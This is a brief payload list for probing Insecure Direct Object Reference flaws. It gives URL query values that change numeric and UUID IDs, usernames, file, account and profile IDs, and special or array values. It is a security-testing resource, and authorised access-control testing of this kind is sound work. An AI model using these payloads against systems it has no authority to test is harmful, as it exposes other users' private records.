# IDOR (Insecure Direct Object Reference) Payloads # Sequential ID manipulation ?id=1 ?id=2 ?id=100 ?id=1000 # UUID manipulation ?user_id=00000000-0000-0000-0000-000000000001 ?user_id=11111111-1111-1111-1111-111111111111 # Username/email enumeration ?user=admin ?user=administrator ?user=root ?email=admin@example.com ?username=test # File/Document IDs ?file_id=1 ?doc_id=1 ?document=private.pdf ?report_id=1 # Account/Profile manipulation ?account_id=1 ?profile_id=1 ?customer_id=1 # Negative and special values ?id=-1 ?id=0 ?id=999999 ?id=null ?id=undefined # Array/Multiple IDs ?id[]=1&id[]=2 ?ids=1,2,3